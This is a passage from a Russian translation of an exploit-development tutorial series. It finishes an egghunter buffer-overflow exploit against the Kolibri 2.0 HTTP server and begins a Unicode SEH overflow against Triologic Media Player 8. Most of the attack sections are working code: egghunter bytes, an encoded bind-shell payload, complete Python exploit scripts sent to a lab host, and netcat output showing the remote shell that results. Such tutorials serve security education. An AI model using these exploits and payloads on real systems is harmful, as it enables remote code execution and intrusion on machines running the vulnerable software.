Переполнение буфера перенаправляет выполнение нашему охотнику, который ищет в памяти наш финальный шеллкод (который на данный момент, конечно, не существует). Не запускайте эксплоит, потому что охотники будет постоянно нагружать центральный процессор до 100%, пока они ищут несуществующее яйцо :D

Подготовка в Этапу 2

Остается вопрос, куда мы можем поместить наш "Stage2", который содержит нужное нам яйцо. Вот уникальное качество HTTP-запросов, которые содержат переполнения буфера. Пакет HTTP-запроса содержит несколько "полей", но не все из них необходимы (фактически пакет, который мы отправляем в нашем эксплоите, уже значительно сокращен). Для простоты объяснения давайте назовем эти поля 1,2,3,4,5. Если в поле 1 обычно происходит переполнение буфера, мы будем считать, что поле 2 является просто расширением поля 1, как если бы оно было просто добавлено к полю 1. Однако, как мы увидим, эти различные поля будут иметь правильное расположение в памяти, и хотя поле 1 (или Stage1 в нашем случае) содержит переполнение буфера, другие поля во время сбоя будут загружаться отдельно в память.

Давайте посмотрим, что происходит, когда мы индексирует шаблон с метасплоита размером 1000 байт в поле “User-Agent”. Вы можете увидеть новый POC ниже …

Python:
#!/usr/bin/python

import socket
import os
import sys

#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")

#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#

Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "Aa0Aa1Aa...0Bh1Bh2B" #1000-bytes

buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

Подключите Колибри к отладчику и установите точку останова на ядрес 0x77C35459, потому что нам нужна мона для поиска шаблона метаслоита, и мы не хотим, чтобы выполнялся код охотника. Сюрприз, находится как вы можете видеть на скриншоте ниже. Мы можем найти полный шаблон метасплоита в памяти (Он встречается не один, а три раза). На самом деле я провел небольшое тестирование, и мы можем инжектировать еще большие чанки буферного пространства, хотя 1000 байтов должно быть достаточно.

11.png


По сути, в этот момент игра окончена. Если мы используем это буферное пространство на этапе 2 для вставки нашего тега, и сразу после нашей полезной нагрузки охотник найдет и выполнит его.

Шеллкод+Конец игры

Опять же, как обычно, остаются две вещи - 1) изменение нашего POC, чтобы он был готов принять наш шеллкод, и 2) создание полезной нагрузки. Вы можете увидеть окончательный POC ниже. Обратите внимание, что Stage2 содержит наш тег. Любой шеллкод, помещенный в переменную шеллкода, будет выполнен нашим охотником.

Python:
#!/usr/bin/python

import socket
import os
import sys

#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")

shellcode = (
)

#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
# Stage2:                                                                       #
# (4) We embed the final stage payload in the HTTP header, which will be put    #
#     somewhere in memory at the time of the initial crash, b00m Game Over!!    #
#-------------------------------------------------------------------------------#

Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "b33fb33f" + shellcode

buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

Итак, перед генерацией нашего шеллкода есть еще кое-что, что нужно сделать. После некоторого тестирования я заметил, что набор плохих символов не применяется к нашему буферу Stage2. Если вы воссоздаете этот эксплоит, не стесняйтесь делать правильный анализ плохих символов. Поскольку мы точно знаем, что буфер ASCII не вызовет каких-либо проблем (поскольку мы можем обнаружить неповрежденный шаблон метасплоита), и мы знаем, что у нас более чем достаточно места (я думаю, что я тестировал Stage2 до 3000 байт), мы можем просто генерировать полезную нагрузку в кодировке ASCII.

Bash:
root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns    Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp           Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw      Disable the Windows ICF, then listen for a connection and spawn a
                                 command shell
[...snip...]

root@bt:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
Total size: 341
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell

root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c
[*] x86/alpha_mixed succeeded with size 744 (iteration=1)

unsigned char buf[] =
"\xdb\xcf\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\x55\x75\x61\x49\x42\x35\x34\x6c\x4b\x52\x72\x70\x30\x6c\x4b"
"\x43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6c\x4b\x72\x52\x35"
"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\x69\x50\x6c\x6c\x75\x6c\x35\x31\x53\x4c\x46\x62\x34\x6c\x37"
"\x50\x6f\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"
"\x6c\x63\x31\x68\x50\x4c\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6c\x4b\x57\x38\x74"
"\x58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6c"
"\x62\x69\x6e\x6b\x45\x64\x6c\x4b\x76\x61\x59\x46\x45\x61\x39"
"\x6f\x70\x31\x39\x50\x6c\x6c\x4f\x31\x48\x4f\x66\x6d\x45\x51"
"\x79\x57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\x68\x77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\x33\x68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\x4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\x6b\x47\x71\x48\x50\x4c\x49\x31\x54\x45\x74\x36\x44\x43"
"\x6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6f\x6b\x50"
"\x56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\x42\x48\x47\x43\x55\x62\x63\x30\x35\x50\x51\x78\x61\x67"
"\x43\x43\x77\x42\x31\x4f\x52\x74\x35\x38\x70\x4c\x74\x37\x37"
"\x56\x37\x77\x4b\x4f\x78\x55\x6c\x78\x4c\x50\x67\x71\x67\x70"
"\x75\x50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\x70\x42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\x76\x30\x77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\x4f\x4b\x6f\x4b\x50\x79\x6f\x78\x55\x4f\x79\x59\x57\x75\x61"
"\x6b\x6b\x42\x73\x51\x78\x57\x72\x35\x50\x55\x77\x34\x44\x4d"
"\x59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\x4b\x6b\x64\x77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\x58\x4f\x47\x4d\x39\x55\x68\x69\x6f\x49\x6f\x5a\x75\x33\x63"
"\x32\x73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\x6f\x5a\x75\x30\x57\x4f\x79\x78\x47\x61\x78\x34\x35\x30\x6e"
"\x70\x4d\x63\x51\x39\x6f\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\x34\x57\x70\x6f\x79\x5a\x43\x43\x67\x71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\x76\x4b\x77\x31\x54\x44\x64\x65\x6c\x77\x71\x37\x71\x4c\x4d"
"\x37\x34\x57\x54\x34\x50\x59\x56\x55\x50\x43\x74\x61\x44\x46"
"\x30\x73\x66\x30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\x66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6c\x67\x4f\x4e"
"\x66\x79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\x4b\x4f\x36\x50\x71\x78\x54\x48\x4c\x47\x75\x4d\x51\x70\x4b"
"\x4f\x48\x55\x6f\x4b\x6c\x30\x78\x35\x6f\x52\x33\x66\x33\x58"
"\x6c\x66\x4f\x65\x6f\x4d\x4f\x6d\x6b\x4f\x7a\x75\x75\x6c\x56"
"\x66\x51\x6c\x65\x5a\x4b\x30\x79\x6b\x69\x70\x51\x65\x77\x75"
"\x6d\x6b\x30\x47\x36\x73\x31\x62\x62\x4f\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41";

После добавления некоторых заметок финальный эксплоит готов!

Python:
#!/usr/bin/python

#-------------------------------------------------------------------------------#
# Exploit: Kolibri v2.0 HTTP Server HEAD (egghunter)                            #
# Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com/                   #
# OS: WinXP PRO SP3                                                             #
# Software: http://cdn01.exploit-db.com/wp-content/themes/exploit/applications/ #
#           f248239d09b37400e8269cb1347c240e-BladeAPIMonitor-3.6.9.2.Setup.exe  #
#-------------------------------------------------------------------------------#
# This exploit was created for Part 4 of my Exploit Development tutorial        #
# series - http://www.fuzzysecurity.com/tutorials/expDev/4.html                 #
#-------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                                #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                     #
# Microsoft Windows XP [Version 5.1.2600]                                       #
# (C) Copyright 1985-2001 Microsoft Corp.                                       #
#                                                                               #
# C:\Documents and Settings\Administrator\Desktop>                              #
#-------------------------------------------------------------------------------#

import socket
import os
import sys

#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")

#msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c
#[*] x86/alpha_mixed succeeded with size 744 (iteration=1)
shellcode = (
"\xdb\xcf\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\x55\x75\x61\x49\x42\x35\x34\x6c\x4b\x52\x72\x70\x30\x6c\x4b"
"\x43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6c\x4b\x72\x52\x35"
"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\x69\x50\x6c\x6c\x75\x6c\x35\x31\x53\x4c\x46\x62\x34\x6c\x37"
"\x50\x6f\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"
"\x6c\x63\x31\x68\x50\x4c\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6c\x4b\x57\x38\x74"
"\x58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6c"
"\x62\x69\x6e\x6b\x45\x64\x6c\x4b\x76\x61\x59\x46\x45\x61\x39"
"\x6f\x70\x31\x39\x50\x6c\x6c\x4f\x31\x48\x4f\x66\x6d\x45\x51"
"\x79\x57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\x68\x77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\x33\x68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\x4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\x6b\x47\x71\x48\x50\x4c\x49\x31\x54\x45\x74\x36\x44\x43"
"\x6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6f\x6b\x50"
"\x56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\x42\x48\x47\x43\x55\x62\x63\x30\x35\x50\x51\x78\x61\x67"
"\x43\x43\x77\x42\x31\x4f\x52\x74\x35\x38\x70\x4c\x74\x37\x37"
"\x56\x37\x77\x4b\x4f\x78\x55\x6c\x78\x4c\x50\x67\x71\x67\x70"
"\x75\x50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\x70\x42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\x76\x30\x77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\x4f\x4b\x6f\x4b\x50\x79\x6f\x78\x55\x4f\x79\x59\x57\x75\x61"
"\x6b\x6b\x42\x73\x51\x78\x57\x72\x35\x50\x55\x77\x34\x44\x4d"
"\x59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\x4b\x6b\x64\x77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\x58\x4f\x47\x4d\x39\x55\x68\x69\x6f\x49\x6f\x5a\x75\x33\x63"
"\x32\x73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\x6f\x5a\x75\x30\x57\x4f\x79\x78\x47\x61\x78\x34\x35\x30\x6e"
"\x70\x4d\x63\x51\x39\x6f\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\x34\x57\x70\x6f\x79\x5a\x43\x43\x67\x71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\x76\x4b\x77\x31\x54\x44\x64\x65\x6c\x77\x71\x37\x71\x4c\x4d"
"\x37\x34\x57\x54\x34\x50\x59\x56\x55\x50\x43\x74\x61\x44\x46"
"\x30\x73\x66\x30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\x66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6c\x67\x4f\x4e"
"\x66\x79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\x4b\x4f\x36\x50\x71\x78\x54\x48\x4c\x47\x75\x4d\x51\x70\x4b"
"\x4f\x48\x55\x6f\x4b\x6c\x30\x78\x35\x6f\x52\x33\x66\x33\x58"
"\x6c\x66\x4f\x65\x6f\x4d\x4f\x6d\x6b\x4f\x7a\x75\x75\x6c\x56"
"\x66\x51\x6c\x65\x5a\x4b\x30\x79\x6b\x69\x70\x51\x65\x77\x75"
"\x6d\x6b\x30\x47\x36\x73\x31\x62\x62\x4f\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41")

#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
# Stage2:                                                                       #
# (*) For reliability we use the x86/alpha_mixed encoder (we have as much space #
#     as we could want), possibly this region of memory has a different set of  #
#     badcharacters.                                                            #
# (4) We embed the final stage payload in the HTTP header, which will be put    #
#     somewhere in memory at the time of the initial crash, b00m Game Over!!    #
#-------------------------------------------------------------------------------#

Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "b33fb33f" + shellcode

buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

На скриншоте ниже вы можете видеть, как Колибри получает наш злой HTTP-запрос и вывод команды«netstat -an», показывает, что наш биндшелл слушает соединения, а ниже, вывод, когда мы подключаемся к нему.

Bash:
root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . :

C:\Documents and Settings\Administrator\Desktop>

БадаБум!!! Игра окончена!!!
 
Часть 5: Юникод 0x00410041

Добро пожаловать в 5-ю часть моей серии по разработке эксплоитов. Возможно, вы заметили, что предыдущие части неуклонно усложнялись и в определенной степени основывались друг на друге. Эта часть не будет отличаться. Пришло время немного активировать нашу игру и убить монстра юникода! Чтобы продемонстрировать разработку эксплоита в юникоде, мы будем создавать эксплоит с нуля для программы "Triologic Media Player 8". Вы можете найти уже существующий эксплоит здесь ( https://www.exploit-db.com/exploits/14673/).

Плохие символы не будут актуальны здесь

Нам потребуется:
Среда для разработки эксплойтов: Backtrack 5
Виртуальная машина: Windows XP PRO SP3
Уязвимое программное обеспечение: Можно взять отсюда (https://www.exploit-db.com/apps/4e68d370d54180157bf1b578407848f4-triomp8setup.exe)

Введение в юникод

Во-первых, было бы полезно понять, что такое юникод. Допустим, есть программа, которая принимает какой-то определенный пользовательский ввод. Если этот пользователь из Бельгии или Соединенных Штатов, кодировка символов не окажет большого влияния, поскольку мы (как правило) используем один и тот же набор символов. Однако, если конечный пользователь использует набор символов арабского или традиционного китайского языка, должно быть ясно, что эти символы не могут быть преобразованы в соответствии с кодами ASCII. Если разработчики программного обеспечения хотят, чтобы их продукт использовался во всем мире, им придется решить эту проблему и ввести поддержку юникода. По сути, юникод позволяет согласованно представлять практически любой набор символов (7-битное представление для ASCII против 16-битного представления юникода). Вы можете найти полный список кодов символов юникод здесь (https://unicode.org/charts/index.html).

В целях разработки эксплоитов мы должны рассматривать юникод как похожий на использование ограниченный набор символов (подробнее об этом позже). Когда мы используем программу такого типа, переполнение буфера почти наверняка будет преобразовано в юникод, прежде чем оно будет передано в стек. Обычно это означает, что наш буфер будет расширен за счет добавления 0x00 к исходным байтам (хотя это не совсем точно). Смотрите пример ниже …

ASCII:
A ==> 0x41

Unicode:
A ==> 0x0041

2-bytes:
AB ==> 0x4142 (ASCII)
AB ==> 0x00410042 (Unicode)

Очевидно, что это большая проблема, так как любой адрес, которым мы могли бы перезаписать регистр EIP, будет подвергаться этому преобразованию, не говоря уже о нашем последнем этапе шеллкода. Не удивительно, что в течение долгого времени люди верили, что переполнение юникода не может быть эксплуатировано (только можно было вызвать DOS атаку). Однако статья Chris Anley в 2002 году показала, что это неверно. Для подробного анализа использования юникода и лучшего понимания того, с какими инструкциями мы можем работать, я предлагаю эту статью (http://www.phrack.org/issues.html?issue=61&id=11#article), опубликованную в Phrack в 2003 году. Возможно, самым заметным вкладом в эксплуатации юникода сделал SkyLined, который выпустил кодер (alpha2), который может генерировать совместимый с юникодом шеллкод, но об этом позже.

Вот и все введение, которое я собирался дать. С нашим примером все станет более понятным. Я хотел бы еще раз отметить, что эти туториалы не охватывают/не могут охватывать всё. Если вы хотите овладеть мастерством, вам придется проводить больше исследований самостоятельно. Хорошо, давайте перейдем к самому крэшу.

Воспроизведение крэша

Настало время завалить "Triologic Media Player 8". Это будет еще один эксплоит файлового формата. Вы можете увидеть наш POC ниже. Я также включил скриншот, который должен показать вам, как вызвать сбой. Вам нужно загрузить "файл evil.m3u", нажав на кнопку "Список". Просто перетаскивая и бросая его, он не будет работать.

Python:
#!/usr/bin/python -w

filename="evil.m3u"

buffer = "A"*5000

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

1.png


Ничего нового тут нет. Сгенерируйте файл "evil.m3u", подключите медиаплеер к отладчику Immunity и загрузите плейлист. Как и следовало ожидать, мы видим сбой. Здесь следует обратить внимание на несколько моментов: 1) несколько регистров центрального процессора содержат часть нашего буфера, удобный отладчик Immunity показывает, что буфер был преобразован в юникод, 2) внизу вы можете увидеть дамп одного из этих регистры (..00410041 .. как и ожидалось) и 3) цепочка SEH также перезаписывается нашим буфером юникода.

2.png


nSEH & SEH

Так что, похоже, что мы будем заниматься SEH и юникодом. Я заметил, что многие юникод-эксплоиты основаны на SEH, так что это будет хорошо усвоенный урок. Как обычно, мы заменим наш буфер шаблоном метасплоита для анализа.

Bash:
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]

Есть кое-что, что я должен упомянуть. Кажется, что, по крайней мере, на моей машине где я отлаживаю, когда я использую мону, чтобы найти шаблон метасплойта, отладчик зависает. К счастью, это происходит после того, как мы получим результаты, которые нам нужны для продолжения. Вы можете увидеть скриншот (неполного) анализа ниже.

!mona findmsp

3.png


На скриншоте видно, что SEH перезаписывается 2-мя байтами (помните, что из-за его юникода это 2 байта, а не 4 байта), которые непосредственно следуют за первыми 536 байтами буфера. Это сделало бы наш новый буфер похожим на это.

buffer = "\x90"*536 + [SEH] + "B"*4464
buffer = "\x90"*534 + [nSEH] + [SEH] + "B"*4464

Однако по какой-то причине это не точно (возможно, из-за замораживания отладчика Immunity во время анализа). После небольшого тестирования я обнаружил, что есть разница в 2 байта. Правильный буфер должен выглядеть следующим образом.

buffer = "\x90"*536 + [nSEH] + [SEH] + "B"*4462
buffer = "\x90"*536 + "C"*2 + "D"2 + "B"*4462

Все хорошо, что хорошо кончается. Если вы передадите исходное исключение с помощью сочетания Shift-F9, вы увидите, что регистр EIP перезаписывается нашими двумя буквами D (DD = 0x4444. Из-за юникода, это становится равным 0x00440044). Прежде чем мы продолжим, нужно кое-что объяснить. Обычно в случае эксплоита, основанного на SEH, мы хотим: 1) перезаписать SEH указателем на инструкции POP POP RETN и 2) перезаписать nSEH с помощью короткого перехода через SEH. Если это не звучит знакомо, я предлагаю прочитать часть 3 моих туториалов по разработке эксплоитов. Юникод SEH немного отличается. Мы по-прежнему будем перезаписывать SEH указателем на инстукции POP POP RETN, но невозможно создать короткий прыжок на nSEH.

Прежде чем мы продолжим, давайте подробнее рассмотрим, как юникодные инструкции выравниваются при выполнении их процессором.

ASCII ==> ...AAAA...
Unicode ==> ...0041004100410041...

But lets see what this looks like when it gets translated to instructions:
...
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
...

So this is very very interesting! It seems like one byte will remain intact and the following byte will
"absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when
executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP
or Venetian shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple
of candidates to absorb these 00's (these won't always be suitable):

006E00 ADD BYTE PTR DS:[ESI],CH
006F00 ADD BYTE PTR DS:[EDI],CH
007000 ADD BYTE PTR DS:[EAX],DH
007100 ADD BYTE PTR DS:[ECX],DH
007200 ADD BYTE PTR DS:[EDX],DH
007300 ADD BYTE PTR DS:[EBX],DH

Давайте вернемся к нашему юникод SEH, так как мы не можем сделать короткий переход к nSEH. Нам придется довольствоваться размещением там безобидных инструкций, которые при выполнении не повредят нашему буферу. Следуя приведенному выше примеру, теперь мы можем сделать это:

nSEH = "\x41\x71"
SEH = ?????
buffer = "\x90"*536 + "\x41\x71" + "D"2 + "B"*4462

Остаются две проблемы: 1) нам нужно найти совместимую с юникодом инструкции POP POP RETN для размещения в SEH и 2) поскольку nSEH не будет переходить через SEH, эти инструкции также должны быть безвредными. К счастью, мы можем позволить моне выполнять некоторые тяжелые функции фильтрации адресов, совместимых с юникодом. Вы можете увидеть скриншот ниже.

!mona seh -cp unicode

4.png


Я протестировал все 11 указателей, и хотя некоторые из них действительно перенаправляют поток выполнения в инструкции POP POP RETN, только один из них оказывается безвредным после его преобразования в опкод.

Pointer: 0x004100f2 : pop esi # pop ebx # ret 04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [triomp8.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.0.0 (C:\Program Files\Triologic\Triologic Media Player\triomp8.exe)
Buffer: buffer = "\x90"*536 + "\x41\x71" + "\xF2\x41" + "B"*4462

Я разместил два скриншота ниже, показывающих, что мы достигли нашей точки останова и что мы можем пройти nSEH и SEH после возврата из наших инструкций POP POP RETN. Ниже вы можете увидеть наш новый POC-эксплойт, который я немного реструктурировал ради аккуратности.

5.png


6.png



Python:
#!/usr/bin/python -w

filename="evil.m3u"

#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"

boom = SEH #more to come
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Отлично. Нам удалось обойти юникодную SEH-структуру. Сделайте глубокий вдох и похлопайте себя по спине. Опять же, если все это звучит немного незнакомым для вас, я предлагаю прочитать статью Phrack, упомянутую выше, и также стоит прочитать руководство corelan по использованию юникода.

Подготовка места для нашего шеллкода

